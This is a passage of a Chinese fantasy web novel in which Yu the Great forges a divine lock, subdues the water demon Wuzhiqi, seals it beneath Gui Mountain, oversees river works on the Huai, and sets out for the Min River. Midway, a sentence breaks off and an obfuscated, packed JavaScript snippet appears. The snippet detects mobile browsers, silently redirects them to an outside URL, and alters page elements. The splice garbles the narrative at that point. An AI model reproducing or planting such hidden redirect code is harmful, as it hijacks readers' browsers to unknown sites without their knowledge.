砺早已深思熟虑,报出一连串珍稀无比的材料之名:首山之铜、西方精金、天河星砂、地脉玄晶、五行灵玉……其中许多,正是历年治水途中,感念其功德的各部族所赠,本就蕴含着各地独特的水土灵性与祝福。更需融入疏导水患所积累的功德愿力为引。禹听罢,毫无犹豫,当即决断:“倾尽所有库藏,汇集万民之愿,铸造‘导水镇灵锁’!” 接下来的日子,整个营地仿佛化作一个巨大的、轰鸣的天地熔炉。在砺的统一指挥下,最好的匠人们环绕着以首山之铜打造的熔炉,日夜不休。禹亲自主持整个锻造过程,以自身人皇气运引动伏羲玉简、水玉简乃至避水剑的圣器之力,调和诸般灵材;皋陶立于炉前,肃穆诵读律法条文,将那秩序、规则之力赋予即将成型的神锁;伯益则吟唱着自古老部落学来的、关于淮水、关于生命、关于和谐的古老歌谣,引导着神锁的灵性趋向平和与包容;羲青在高处设坛,接引周天星辰之光,尤其引导箕尾星宿的清辉,校准锁链能量的纯净与稳定;巫盼与辛夷夫妇,则联手施展古老的巫祝之术,安抚躁动的炉火之灵,调和着锻造过程中的阴阳五行,使其平衡;五小龙盘旋于熔炉上空,喷吐龙息,以精纯的龙族本源之气滋养着胚胎,增强其灵性与力量;涂山翳不仅贡献出涂山氏世代珍藏的一块千年“镇水玉髓”,更调动族中力量,协助收集砺所提及的部分珍稀材料,并派出手巧的族人协助匠人处理辅助材料。其他归附的淮夷部落,亦在涂山氏的带动下,纷纷尽其所能,提供燃料、食物、乃至传承下来蕴含微薄灵性的矿石等,虽力量有限,却也是一片诚心。更有无数闻讯赶来的、深受水患之苦的淮水两岸百姓(包括越来越多的淮夷族人),自发聚集在营地外围,默默跪拜,将内心最虔诚的祈愿、对安宁生活的渴望,无私地寄托于这熊熊燃烧的炉火之中。 七日七夜,不眠不休。当第七日的朝阳跃出地平线,第一缕阳光照射在熔炉上时,炉火骤然由赤红转为纯金,一声清越无比的龙吟凤鸣之音自炉中响起,一道七彩光华冲天而起,驱散了连日的阴霾!神锁,终成! 其形古朴无华,却自然流露出厚重与灵动的矛盾统一感,锁身之上,无数细密玄奥的符文如星辰般流转不息,仔细看去,正是“疏导”、“归流”、“定波”、“安澜”、“化戾”等真意凝练而成。神锁微微震颤,与脚下的淮水水脉产生清晰的共鸣,仿佛已成为淮水的一部分。 决战前夜,禹再次通过颛顼玄圭,将凝聚的意念传递向淮源之井深处,将铸造神锁的初衷、万民的期盼、以及希望以和平方式化解恩怨、引导其重归正途的意愿,毫无保留地传递过去。然而,回应他的,只有一声更加尖锐、充满了嘲弄、暴戾与一丝不易察觉的恐慌的尖啸!无支祁显然早已通过其控制的阴离部落知晓了一切,并做好了决一死战的准备。 次日,禹率众抵达“淮井”附近最为开阔的一段河面。此处因河道骤然放宽,水面略显平缓,但水下暗流汹涌,正是无支祁惯常兴风作浪之所。此刻,阴离部落已在首领离魁带领下,被彻底蛊惑,组成厚厚的人墙,手持简陋武器,眼神狂热而空洞,挡在河岸与水流之间。无支祁那青灰色的庞大身影在稍远处的深水区若隐若现,搅动着巨大的漩涡,发出低沉而充满嘲弄意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705149|189169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味的咆哮,显然早已准备好利用这些被操控的人性作为第一道屏障。 禹心中叹息,仍试图以言语唤醒那些被蛊惑的族人,陈述利害,言明无支祁的真实面目。然而离魁等人的狂热呐喊,以及无支祁在水中愈发尖锐、充满煽动性的狞笑,彻底宣告了言语的无力。 “布阵!”禹果断下令,声震四野。 五龙率先行动,它们汲取初战教训,不再以硬碰硬,而是发挥龙族控水的天赋,以精妙的控场能力游走。金鳞以龙威震慑,苍鬃以水流束缚离魁族人的脚步,云踪以极速制造幻影扰其视线,墨琛操控泥泞陷其足,赤须则以温度适中的蒸汽隔绝战场,巧妙地瓦解了阴离族人的抵抗阵型,同时小心翼翼,避免对他们造成严重伤害。巫盼于岸边起舞诵咒,空灵的法咒如同山间清泉,柔和地抚慰、净化着被扭曲的心神。岳盾与飞猿看准时机,如猛虎出闸,率精锐锐士直扑首领离魁,迅速将其制住。 无支祁见人类屏障失效,狂怒彻底爆发!它庞大的身躯猛然跃出水面,带起漫天水浪,巨爪撕裂空气,带着刺耳的音爆直拍而下,口中更喷吐着腥臭扑鼻、具有腐蚀性的黑水与饱含数百年怨念的尖锐精神冲击:“虚伪!徒劳!你们与那些昔日毁灭我家园、屠戮我族人的刽子手毫无二致!弱肉强食,力量即真理!这便是我用鲜血与痛苦学到的唯一秩序!今日,便让你们也亲身感受这秩序的滋味!” 五龙齐声龙吟,结阵迎上!金鳞正面抗衡其巨力,赤须如火焰般游走骚扰,苍鬃凝聚全身龙力硬撼千钧重击,云踪将速度发挥到极致,寻找破绽突袭,墨琛则谨慎地化解着无支祁各种阴损的水毒与精神攻击。战斗瞬间进入白热化,龙吟、怪啸、水爆之声震耳欲聋,龙血与蕴含着怨念的水滴四处飞溅,天空乌云密布,电闪雷鸣,天地为之失色! 禹凝神静气,寻找着最佳时机。他见无支祁在与五龙缠斗,旧力已尽、新力未生之际,猛地将全身神力灌注于导水镇灵锁,暴喝一声:“去!” 神锁化作一道金色长虹,蕴含着万民愿力与疏导天地的大宏愿,直取无支祁! 然而无支祁狡诈异常,对此早有防备!它竟不顾五龙攻击,全力操控周身水流,瞬间布下层层叠叠、方向诡谲多变、蕴含撕裂之力的漩涡迷宫!神锁闯入其中,仿佛陷入无形泥沼,前进速度骤减,锁身光芒剧烈明灭不定,发出不堪重负的嗡鸣!无支祁对水文的熟悉与自身力量的强横超乎想象,它疯狂催动妖力,竟欲将这汇聚了众人心血的神锁偏转、甚至当场绞碎! 禹感到自身神力如决堤般飞速消耗,脸色瞬间苍白,那神锁与他的心神相连,锁链上传来的剧烈挣扎与痛苦反馈让他几欲吐血,锁链嗡鸣加剧,几近失控崩解! 就在这千钧一发之际,一直紧随禹身旁的涂山翳,猛地踏步上前!他高举手中那枚“星垣玉魄”,将自身修为毫无保留地灌注其中!玉魄碎片在他全力催动下,绽放出前所未有、却不刺眼的温润光华,那光芒仿佛能无视一切物理与能量的阻碍,穿透重重水幕与怨气,直抵灵魂最深处!清冷的星光与厚重的地脉之力交织融合,化作一道纯净无比、充满生机与呼唤的光柱,并非为了攻击,而是如同母亲呼唤迷失的游子,如同故土召唤远行的旅人,温柔而坚定地笼罩向狂怒中的无支祁! “古老的山河之灵,请聆听这最后的呼唤!”涂山翳的声音庄严肃穆,响彻战场,甚至压过了水浪轰鸣,“箕尾之星指引归途,涂山地脉承载记忆!归来吧,迷失的守护者,莫要让往昔那彻骨的伤痛,永远掩埋你曾以生命誓死守护的、对这山川万物最初最深的‘爱’!” 这光芒与灵魂的呼唤,仿佛一把淬炼了时光与真情的钥匙,强行撬开了无支祁被厚重怨毒与共工残念冰封的心门一角!它那狂暴到极致的动作猛地一滞,黄金般的巨大眼眸中,那疯狂的血色褪去一瞬,闪过一丝极其短暂却无比清晰的迷茫与……撕裂灵魂般的巨大痛苦!往昔的画面不受控制地碎片般涌现:清澈见底的淮水之畔,葱郁山林之间,族人嬉戏欢笑的祥和景象,万物和谐共生的美好……紧接着,便是那场毁天灭地、毫无征兆的灾难,家园在洪水中崩毁,亲友在眼前哀嚎着湮灭,熟悉的土地化为炼狱……就在这时,共工那充满无尽诱惑与怨恨的残魂低语,如同最恶毒的毒蛇,再次缠绕上它脆弱的心灵:“看吧……这就是你拼死守护的世界给你的回报……秩序?正义?皆是虚妄!唯有绝对的力量!唯有让这些后来者也亲身感受你曾经的痛苦!让他们在恐惧与绝望中忏悔!” “不——!”无支祁发出一声混杂着极致痛苦、挣扎与一丝清醒的咆哮,那完美的防御出现了一瞬间的凝滞和力量运行的混乱! 就是这稍纵即逝、用巨大代价换来的破绽! 禹凝聚起残存的所有神力、意志,乃至生命潜能,藉着涂山翳创造出的这一线曙光般的契机,再次暴喝,声嘶力竭:“锁!” 导水镇灵锁如同终于挣脱了无形枷锁的九天灵蛇,敏锐地感应到那心防的细微缝隙,瞬间光芒暴涨,速度激增,以一种超越视觉的速度,穿透了紊乱的水漩防御,带着亿万生灵的愿力与疏导一切的天地宏愿,精准而牢固地缠绕上无支祁庞大的青灰色身躯!锁链之上,“化戾”、“归流”、“安澜”等核心符文次第亮起,疯狂闪烁,开始强行吸纳、转化它周身那积累了数百年、几乎凝成实质的暴戾之气与共工残留的怨念! “嗷——!”无支祁发出震天动地的痛苦怒吼,它清晰地感受到自己的力量正在被迅速剥离,那如同附骨之疽的怨念正在被净化!它奋力挣扎,庞大的身躯扭动,搅得淮水如同沸腾,锁链被绷得笔直,发出令人牙酸的、仿佛下一刻就要断裂的咯吱声!禹七窍之中渗出鲜血,身形摇摇欲坠,全靠一股不容置疑的坚定意志支撑着。五龙拼死维持着包围光阵,龙鳞破损,龙血如雨洒落。巫盼的安魂咒文如同最坚韧的丝线,持续不断地渗入其混乱的心神,抚慰着那被唤醒的痛苦。涂山翳面色惨白如纸,却依旧竭力维持着星垣玉魄的清辉不散,稳定着那丝被艰难唤醒的清明,顽强地抵御着共工残念最后的疯狂反扑。 “无支祁!”禹的声音已然嘶哑欲裂,却带着穿透一切屏障、直抵灵魂本源的力量,字字句句混合着对天下苍生的大爱、对往昔伤痛的深刻悲悯与对未来的殷切期盼,“看看这淮水!看看这两岸仍在洪水中挣扎、在恐惧中期盼的众生!沉溺于过往那无尽的伤痛,将同样的痛苦与绝望施加于更弱者、于这无辜的后世生灵,这岂是你那聪慧善良的‘灵明之族’守护这片壮丽山河的初心?!天地运转,确有其不仁之处;人间世情,亦不乏私欲与纷争!但正因如此,才更需要我等血肉之躯,以渺小之力,行疏导之事,立秩序之基,并非为了攫取权力,而是为了‘生’——让万物生灵得以延续,让希望之光得以存续,让这天地间,少一些如你般的悲剧 !” 他奋力抬起手臂,指向身后那些虽然满面恐惧却依旧坚持守护、眼中燃烧着求生渴望的民夫,指向所有为此奋战、伤痕累累的人们。“吾辈治水,非为己身荣辱,非为一族之私利,乃为这淮水两岸,万千如你昔日族人般,同样渴望安宁生活、繁衍生息的生灵!此锁,非为永世禁锢与惩罚,乃是通往救赎的桥梁!亦是洗刷你自身罪孽、重归清明的唯一之道!” 禹那毫无伪饰的至诚、超越种族隔阂的大爱以及直面苦难并奋力改变的巨大勇气,如同最后一记开山辟地的重锤,结合导水镇灵锁持续不断的净化之力与星垣玉魄那如同母亲呼唤般的温暖光辉,终于彻底动摇了无支祁被怨恨占据数百年的心核。它那疯狂的挣扎,一点点,一点点地松懈下来。眼中的暴戾与怨恨如潮水般迅速退去,取而代之的是巨大的茫然、深不见底的疲惫,以及……一滴浑浊不堪、仿佛积蓄了数百年的泪水,从它那金色的巨目中缓缓滑落,混入滔滔淮水,瞬间消失不见。它彻底放弃了抵抗,庞大的身躯被神锁紧紧束缚,漂浮在水面,不再动弹。 然而,无支祁虽已屈服,但其体内残余的怨力依旧庞大,导水镇灵锁嗡鸣不止,光芒明灭,显然仅凭其自身净化,需时极长,且易生变故。 就在此时,天际骤然风云变色,一股浩瀚无边的龙威自九天之上降临!只见云层洞开,应龙那遮天蔽日的巨大身影显现,麟甲闪烁着古老的光泽,声音如同洪钟大吕,响彻云霄:“禹!吾感此地水元紊乱已达极致,共工余孽气息肆虐,特来助你一臂之力!” 应龙并未直接攻击无支祁,而是舞动龙躯,施展无上神通,于淮水岸边生生掘开数条新的支流河道,巧妙地分泄了淮水主干那积郁的狂澜与戾气,整个水域的狂暴之势顿时为之一缓! 与此同时,更高远的天空之上,仙乐缥缈,金光万道,一位身披金甲、面容威严、周身散发着纯正天神气息的伟岸神将踏云而至,正是太上老君座下使者、黄龙化身的天神庚辰!庚辰目光如电,扫过被锁链束缚的无支祁,声如雷霆:“奉老君法旨,特来助禹完此功德!” 他并未多言,抬手便掷出一道璀璨夺目的金色流光,那流光融入禹所铸造的“导水镇灵锁”中,瞬间,锁链之上所有符文如同被注入了全新的生命,光芒大盛,嗡鸣立止,束缚之力与净化效果陡增数倍,彻底完成了对这上古水怪的最终束缚! 庚辰神将见大事已定,那威严的目光扫过在场众人,最后落在身形微颤、却依旧挺立的禹身上,微微颔首,声如洪钟,却比之前少了几分凛冽,多了几分认可:“伯禹,尔以凡躯,行此伟业,上应天心,下顺民意,老君亦为之动容。今助尔完此一劫,乃天命所归。望尔勿忘初心,善始善终,平定九州水患,福泽苍生。吾使命已毕,去也!” 言罢,不待禹回话,庚辰神将周身金光大盛,仙乐再起,其伟岸身影随之逐渐淡化,最终化作点点金色光雨,伴随着袅袅仙音,消散于苍穹之上,仿佛从未出现过,只留下那被强化后的神锁依旧散发着令人心安的磅礴力量,以及空气中若有若无的淡淡神威。 禹强忍着身体的虚弱与七窍渗血的不适,勉力整理了一下衣冠,朝着庚辰消失的苍穹方向,深深一揖,声音虽因力竭而沙哑,却充满了诚挚的感激:“禹,谨代表天下苍生,拜谢老君恩德!拜谢庚辰神将援手之谊!此恩此德,禹与万民,永志不忘!必当竭尽全力,廓清寰宇,以报天恩!” 凶顽虽伏,然其形庞大,残余怨力惊人,如何处置成难题。寻常水域根本无法容纳,稍有不慎便会再次引动水患,甚至助长其凶焰。 这时,涂山翳上前一步,对禹躬身道:“司空,关于镇压之地,翳倒是想起一族中古老相传的秘闻。昔年我族中一位老巫祝曾提及,下游龟山脚下,有一处天然形成的‘伏魔井’,其深不可测,水至阴至寒,却能沉淀万物戾气。据说此井与上游‘淮源之井’地脉暗通,气息相连。若将无支祁镇于彼处,或可借其地利,加速净化,且远离人居,更为稳妥。只是年代久远,具体方位需仔细搜寻。” 巫盼亦凝神感应,补充道:“我以神魂感知,涂山主祭所言应是不虚。那‘龟山伏魔井’阴寒之气极重,正合以静制动,以阴化戾,确是理想之地。” 伯益亦附和道:“我等勘探水脉时,亦觉下游龟山一带地气沉凝,或有异处,与涂山首领所言可相互印证。” 禹聆听众人建议,结合自身感知,立刻决断:“善!便依翳兄之言,寻得那‘龟山伏魔井’,将此獠镇于彼处!” 他转向无支祁,沉声道:“引你至‘伏魔井’,非为加重折磨,而而是借彼处独特水性地利,助你更快、更彻底地净化戾气、重归清明之机。望你好自为之,莫负这天地予你的一线生机!” 在五龙的严密押送和导水镇灵锁的灵性引导下,无支祁那庞大的身躯被从桐柏山下的“淮源之井”缓缓引出。沿淮水顺流而下,两岸闻讯而来的民众皆目睹此景,无不震撼。最终,队伍抵达龟山脚下那口散发着幽幽寒气的“伏魔井”旁。 抵达之后,禹以伏羲开山斧在“伏魔井”井口岩壁之上,刻下繁复而强大的加固与疏导符文,将导水镇灵锁的末端,牢牢固定于龟山山根与淮水水脉的交汇之处,使其与大地山川融为一体。 “沉!”随着禹一声令下,五龙松开最后的束缚。无支祁那庞大的身躯,在导水镇灵锁的牵引下,缓缓沉入“龟山伏魔井”那深不见底、仿佛直通九幽的黑暗之中。锁链不断延伸,直至其上的符文光芒在众人视野中变成细微如尘的星点,最终完全隐没于无尽的黑暗。唯有锁链没入水面的地方,依旧散发着微弱却持久的、带有净化气息的柔和涟漪,标志着这场跨越了漫长岁月与心灵隔阂的降伏与救赎,暂告段落。 “镇尔于此‘伏魔井’,非为永罚!”禹的声音凝聚着神力,穿透重重水流,直达深渊,烙印在无支祁残存的灵识之中,“借尔身与锁链之力,连通水脉,平波定澜,涤荡戾气!待淮水安流千里,功德圆满,尔狂性尽消,灵台彻底清明之日,便是此锁消散,尔得解脱之时!望尔好自为之,莫负这天地予你的一线生机!” 随后,禹将那柄在此战中立下奇功的避水剑,郑重地插于龟山山麓一处灵穴之上。剑身灵力与龟山地脉、淮水水气迅速结合,光芒流转间,竟化为一尊古朴威严、高耸入云的“镇淮铁柱”,与遥远东海的定海神针遥相呼应,共同镇守江河,永保平安。 当禹与五龙返回水面时,岸边已聚集了无数闻讯赶来的民众,人山人海,欢呼声震天动地。其中,尤以那些曾被无支祁淫威慑服,被迫供奉童男童女,或像阴离部落那样被其蛊惑与平水土之师为敌的部族,心情最为复杂,既有恐惧褪去后的虚脱,也有深深的悔恨与劫后余生的庆幸。 阴离部落的首领离魁,已被解开束缚,他呆呆地望着恢复平静、虽仍略显浑浊但已无那令人窒息狂暴意志的淮水,又看了看身边眼神逐渐恢复清明的族人,再望向那个浑身湿透、脸色苍白却目光依旧坚定如磐石的司空禹,噗通一声跪倒在地,涕泪横流,声音哽咽沙哑:“司空!司空大人!小老儿……小老儿被猪油蒙了心,被那妖魔邪术蛊惑,竟……竟与司空为敌,与拯救我等于水火的恩人为敌……我……我有罪啊!我阴离部,有罪啊!” 他身后,众多阴离族人也纷纷跪倒一片,磕头不止,哭声与忏悔声交织。 其他沿岸部落的民众,则爆发出更加震耳欲聋的欢呼!他们世世代代生活于此,饱受水患与精怪双重折磨,今日亲眼见到那不可一世的“水神”被制服,浑浊暴戾的淮水开始显现出顺流、安宁的迹象,如何能不激动万分? “司空恩德!永世不忘!” “淮水终于要平了!我们的孩子安全了!” “苍天有眼!降下司空救我等啊!” 许多人自发地将家中仅有的食物、酿造的薄酒、甚至刚从水中捞起的鲜鱼捧出,争先恐后地想要献给禹和他的队伍,眼中充满了最质朴、最真诚的感激与敬仰。 涂山翳缓步走到禹的身边,与他并肩而立,望着眼前万民归心、淮波初定的景象,指尖无意识地摩挲着腰间的星垣玉魄。良久,他才缓缓开口,声音里带着一种穿透了漫长时光的深沉慨叹:“司空,还记得你初次来我涂山之时吗?” 他没有看禹,目光依旧投向远方水天一色之处,仿佛穿越回了数年前那初次相见的时刻,“那时你虽已手持圣器,名动天下,但在我眼中,仍是一个眼神炽烈如火焰、肩头却仿佛扛着整个天下万民生计重担的年轻人。我见你为治水大业奔波劳碌,见你与女娇……两情相悦,情深意重。” 提及女娇,他的声音微不可察地低沉了一瞬,带着难以言喻的伤感,但随即转为更为深沉、浑厚的力量。 “而今日,”他终于侧首,看向身旁这个身形依旧挺拔如松,眉宇间却已刻满风霜雨雪与无数坚毅抉择,眼神更显浩瀚如星空大海的男人,“我亲眼见你,不仅以无上智慧与勇气铸锁镇伏了那积年的水怪,更以如海胸襟与仁德,化解了累积的仇怨与隔阂。你镇无支祁于淮井,非为彰显武力与征服,而是予其改过归正之途;你宽恕玄伯、阴离诸部,非为权谋算计,而是真正看到了他们人心深处的迷茫、无奈与伤痛,给予了他们重新开始的机会。” 他深吸一口气,语气中带着由衷的、毫不掩饰的叹服:“昔日,我只知你志在平水土,安天下。今日方悟,你所行之‘疏导’,早已超越江河地理,深入世道人心,直达性灵本源。你在抚平的,是这天地间积郁了无数年月的暴戾之气与被撕裂的信任伤痕。此等境界与胸怀……翳,自愧弗如,唯有敬佩。” 最后,他的目光变得无比柔和而悠远,声音轻得仿佛怕惊扰了沉睡在记忆中的身影:“小妹她……当年没有看错人。她若在天有灵,见你今日所为,见你始终未忘初心,不仅未忘,更将其践行得如此……磅礴而慈悲,她定当……欣慰含笑。” 提及女娇,禹心中一痛,仿佛那轘辕山口的冷风再次呼啸着吹过荒芜的心田,带来刺骨的冰凉与无尽的思念。他勉强压下翻涌的情绪,对涂山翳郑重一礼,声音低沉而真诚:“翳兄过誉。禹之一切,皆赖众人之力。若无翳兄关键时刻以星垣玉魄唤醒那孽障深埋的一丝本真,若无涂山氏始终如一的鼎力相助,若无万千军民同心戮力,禹今日绝难成功。治水之功,非禹一人,乃天下万民同心之力,亦是对逝者最好的告慰。” 无支祁之患既除,治理淮水的主体工程得以全面、迅速地展开。在禹高瞻远瞩的总体规划下,工程分为数个层面同时推进,场面恢宏,气势磅礴: 导淮自桐柏,贯通主河道:工程的核心与基石,依然是彻底梳理桐柏山至龟山这段最顽固的“七十二道弯”。砺指挥着数以万计的民夫和已然归心、充满干劲的归附部落青壮,采用成熟的“火烧水激”等先进工艺,爆破、移走关键碍航礁石,拓宽狭窄河道,清除历年淤积的厚重泥沙。岳卫锐士们分驻各险要工段,既是忠诚的护卫,也身先士卒,参与最艰苦、最危险的劳作。震天的号子声、铿锵的凿石声、奔流的水声,汇成一曲人定胜天、改造山河的雄壮乐章。淮河主干道的彻底通畅,是解决整个淮水水患的基础与关键。 四渎联通,九泽既陂:着眼于长远,着手构建淮河流域宏观的水网调节系统,彰显了超越时代的治水智慧。雷泽加以深挖、疏浚、扩挖,使其能有效蓄滞来自豫东平原方向的过量洪水,化害为利;孟渚泽重点整治其水域,作为颍水等主要支流的关键分洪区,显著减轻干流压力;彭蠡泽此时虽与淮水主干尚有地势间隔,但禹已以其卓绝眼光,规划引导部分淮水以南的支流,并着手开辟早期水道,意图使其在未来能承担调蓄江淮之间庞大水量的重任,此为极具远见之布局;震泽则着力疏通其出水通道,加固周边堤防,使其能更好地承泄淮河下游及长江部分洪水,从根本上控制下游水患。这四大蓄洪湖泽的系统整治,构成了淮河流域“蓄泄兼筹、因地制宜”的骨干工程,标志着华夏治水思想从单纯的“堵”或“疏”,第一次真正跃升到全流域性、系统性治理的全新高度。 水陆分界,以测水位:在砺的主持下,于淮水沿岸所有关键节点,精心凿刻、立下了数十处统一的“水陆分界碑”。这些石碑以精确的刻度,清晰标记不同季节、不同年份的水位变化,不仅极大便利了当前工程的实时水情观测与施工决策,更为后世的水利管理、汛情预警和水文研究,留下了极其宝贵、影响深远的依据。这是远古测量技术与管理智慧完美结合的典范。 在水利工程如火如荼进行的同时,弃也带领着满怀希望的民众,在逐渐显露、肥沃的新生滩涂和淤积平原上,开始了恢复农耕、重建家园的伟业。他不仅带来了中原先进的粟、菽等旱作种植技术,更因地制宜,大力推广适合江淮湿暖气候的稻作文明。他亲自指导人们开挖沟洫,引水灌溉,并创造性地实践了“稻淤轮作法”——在水稻收获后,巧妙利用淮水定期泛滥带来的肥沃淤泥,抢种一季生长快速的蔬菜或养地的豆类,既充分循环利用了地力,又显著改善了土壤结构。百草则带着她的助手们,忙着辨识、筛选、推广本地适宜的作物与药草品种,飞猿等一众年轻锐士,在爱情的鼓舞下,成了开垦荒地、建造新田的主力。曾经饱受水患蹂躏、满目疮痍的土地,第一次焕发出孕育丰饶、生机勃勃的希望之光。 禹并未高高在上地发号施令,他的身影时常出现在最艰苦、最危险的工段和最新开垦的田垄间。他与民夫一同喊着号子搬运沉重石料,满身泥泞汗湿衣背;他蹲在田埂边,虚心向经验丰富的老农请教本地气候物候,认真记录……这一切,民众都真切地看在眼里,深深地记在心上。“司空与吾等同甘共苦!”这样发自肺腑的声音,比任何封赏犒劳都更能凝聚人心,激发无穷力量。 然而,每当夜深人静,独自回到那间简陋而空旷的营帐,白曰里所有的坚毅、果决与忙碌喧嚣如潮水般褪去,深深的疲惫与刻骨的思念便如无声的幽灵,从四面八方涌来,将他紧紧包裹。他取出怀中那枚已被体温焐得温润的同心埙,指尖反复摩挲着上面交织的、象征着他与女娇的狐毫与青丝,女娇那如星辰般璀璨的眼眸、那浅浅的、带着一丝狡黠的笑涡,仿佛就在眼前摇曳,清晰得触手可及,却又隔着无法逾越的生死鸿沟,触手之处,唯有冰凉的玉石,提醒着他那永诀的残酷。 “女娇……我又将一水患平定,淮水之民,终见曙光……你看到了吗?”他对着帐中摇曳的孤灯,对着无边的虚空低语,声音中充满了无尽的自责、哀伤与难以排遣的寂寞,“可我……却将你永远留在了那冰冷的轘辕山口……连我们的启儿,我都无法亲手抚养,不能亲耳听他唤我一声父亲……我这般抛家舍业,常年奔波于洪水之间,所求为何?所做究竟是对是错?”英雄的脆弱与柔软的内心,只在无人可见的深沉深夜,独自默默舔舐。那尊守望在故乡山口的石像,既是他不朽功业碑上最深刻、最疼痛的裂痕,也是他内心深处那道永不愈合、时常在寂静中渗血的伤。 但他知道,自己绝不能长久沉溺于此。淮水虽初见平治之象,不过是浩瀚九州水患之一隅。那更为浩荡、更为险峻莫测的长江流域,尤其是上游岷江的肆虐不羁、中游三峡的梗阻难通,以及广袤东南泽国的水乡困境,仍是悬在天下苍生头顶的、未曾落下的利剑。而据各方信息与自身感应,那共工溃散后最为强大的主体残魂,似乎也正借助水脉,悄然向那片更为广阔的区域汇聚,酝酿着未知的、可能更为可怕的危机。 他轻轻收起同心埙,仿佛将所有的柔软与悲伤也一并收起,小心翼翼地珍藏于心底最深处。他摊开新的、空白的陶牌,目光变得锐利而坚定,开始就着昏暗的灯火,一丝不苟地勾勒南下江汉、深入扬州、直面长江的路线与方略……耳畔,仿佛已然回响起关于共工残魂在南方汇聚的低语,以及那来自更浩瀚水系的、隐隐的波涛召唤。新的、更加艰难的征程,其号角已然在他心中,沉沉吹响。 15. 第15章:岷山导江 淮水初定,万民归心。桐柏山下的营地在经历了一场血与火的洗礼以及降伏无支祁的惊天之战后,非但没有沉寂,反而焕发出更为蓬勃的生机。粮秣危机在百草的组织与飞猿等锐士的护卫下得以缓解,新归附的淮夷部落在禹的仁政感召下,逐渐融入平水土之师这个日益庞大的集体。淮水主干道的疏浚、四大湖泽的陂障、水陆分界碑的设立以及新生家园的垦殖,一切都在有条不紊地进行着。 眼见淮水工程主体已定,后续繁琐而重要的巩固、细化工作需可靠之人主持。禹将目光投向了自幼一同在阳城长大的伙伴——阿牛与芦花。阿牛膀大腰圆,性格憨厚坚韧,多年跟随禹开山凿石,对工程细节了然于胸;芦花则如水中精灵,不仅水性极佳,更心灵手巧,善于制作各类水上舟筏、水下探测用具,对水情判断精准。他们一直是禹最信赖的助手,尤其在工程中后期,总能将禹的宏大构想落到实处。 “阿牛,芦花,”禹将二人召至帐中,语气带着不容置疑的托付,“淮水大局已定,然堤防巩固、渠道维护、与沿岸部落协理水序等事,关乎长远。你二人是我最信任的伙伴,熟悉工程,亦知我心意。此地后续,便交由你二人督导善后。” 阿牛重重一拍胸膛,声音洪亮:“司空放心!有俺阿牛在,定叫这淮水堤岸固若金汤,沟渠通达如血脉!你就放心去收拾那长江吧!” 芦花眼中虽有不舍——他们与禹相聚的时光总是如此短暂——却依旧坚定点头:“禹,你安心南下。水上的事,交给我。” 他顿了顿,轻声补充,“只是……这一别,又不知何时能再见了。你……一切小心。” 禹看着这两位从小一起长大的伙伴,心中暖流涌动,亦有些许歉疚,他用力拍了拍阿牛的肩膀,对芦花温言道:“待天下水患平定,我们回阳城再聚。” 安置好淮水事宜,禹不再犹豫。舜称帝第一年,禹治水第十载,秋。 安置好淮水事宜,禹未敢有片刻耽延。 帝舜初登帝位,改元更始,天下瞩目。这位新任天子力排众议,将治水重任再度委予他身,既是莫大的信任,亦是沉甸甸的期望。禹深知,自己这十载治水,每疏导一条河流,每平定一处水患,不仅关乎万民生死,更与帝舜的威望息息相关。功成,则帝业稳固,四海归心;失败,则新帝权威受损,天下恐生动荡。 而今,横亘于前的,是比黄河更为桀骜不驯的长江。若不能将此南方巨渎降服,帝舜初立之威仪何存?新朝气象何以彰显? 秋风萧瑟,吹动旌旗。平水土之师主力再次开拔,浩荡南下。禹立于船头,回望北方帝丘方向,仿佛能感受到那来自九重宫阙的殷切目光,更能感受到那目光背后,维系着新朝命运的千钧重担。他的身影在江风中显得愈发挺拔,也愈发孤独。 前路,是未知的惊涛骇浪,也是必须征服的浩荡天堑。此行,只许成功,不能失败。 队伍历经数月艰苦跋涉,穿行于越来越陡峭的山岭之间。空气中弥漫的湿气越来越重,植被也愈发茂密原始。终于,他们抵达了岷山山脉脚下。这里山高谷深,云雾终年缭绕峰峦,仿佛亘古未开的秘境。尚未见江,先闻其声——那岷江的咆哮如同万千巨兽在狭窄的峡谷中同时怒吼,声音沉闷而极具穿透力,震得人耳膜发麻,心旌摇曳。空气中不仅弥漫着浓重的水汽,更带着一股源自雪山之巅的凛冽寒意。 禹下令在一处背风的山坳扎营。营垒甫成,他便召集核心成员议事。 “伯益,”禹看向身边这位虽年近四十,鬓角已染微霜,眼神却依旧如同少年般闪烁着好奇与活力的老友,“联络此地羌人部落之事,非你莫属。你通晓百族语言,见识广博,人又机敏善辩,当能化解隔阂,寻得助力。此地情况不明,羌人态度至关重要。” 伯益眼中立刻迸发出兴奋的光芒,连日跋涉的疲惫似乎被这新的挑战一扫而空,他几乎是雀跃地说道:“司空放心!我早就对这岷山羌人心向往之了!听说他们酿的咂酒用青稞和雪山融水,别有风味,穿的毪衫是用牦牛绒织成,又暖又耐磨,还能防些小雨!” 他习惯性地拍了拍随身携带的、已经磨损严重的皮囊,里面装满了记录各族见闻的简牍和陶片,“沟通之事,包在我身上!定叫他们明白我等治水之心,绝非歹意,而是互利共赢之举。” 尽管在他爽朗的笑容下,眼底深处偶尔还是会快速掠过一丝因凤鸟逝去而留下的、难以磨灭的隐痛,但治水大业,始终是他倾注全部热情、用以填补内心空洞和践行共同理想的第一要务。 皋陶补充道:“羌人部落分散,各有头人,需谨慎接触,以礼相待,示我王化之仁,律法之公。” 砺则更关心实际问题:“若能得羌人相助,熟悉地形,提供部分粮秣,甚至出力开山,则工程事半功倍。” 羲青已铺开兽骨,开始准备用青铜小刀描绘沿途山川地貌,她不仅是星象师,更是最尽责的地师,记录着一切地理、民俗与事件。她抬头道:“我观此地星野,对应于天上井、鬼宿之间,气机奔腾而紊乱,星光摇曳不定,主大动干戈与剧烈变革。然具体吉凶,尤在人为,星象只示趋势。那水患之源,煞气凝聚于玉垒山段,星辉于此尤其黯淡,然其性混沌,凶中藏晦,还需实地探查与当地人口述印证,方能明了。” 